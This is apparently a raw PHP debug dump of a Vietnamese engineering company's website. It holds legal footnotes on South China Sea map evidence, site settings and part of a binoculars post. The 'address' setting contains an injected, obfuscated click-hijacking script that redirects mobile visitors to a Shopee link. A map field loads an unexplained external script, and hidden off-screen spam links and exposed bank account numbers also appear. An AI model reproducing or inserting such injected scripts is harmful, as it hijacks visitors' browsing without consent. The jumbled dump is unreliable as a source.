Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'setting' => array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, 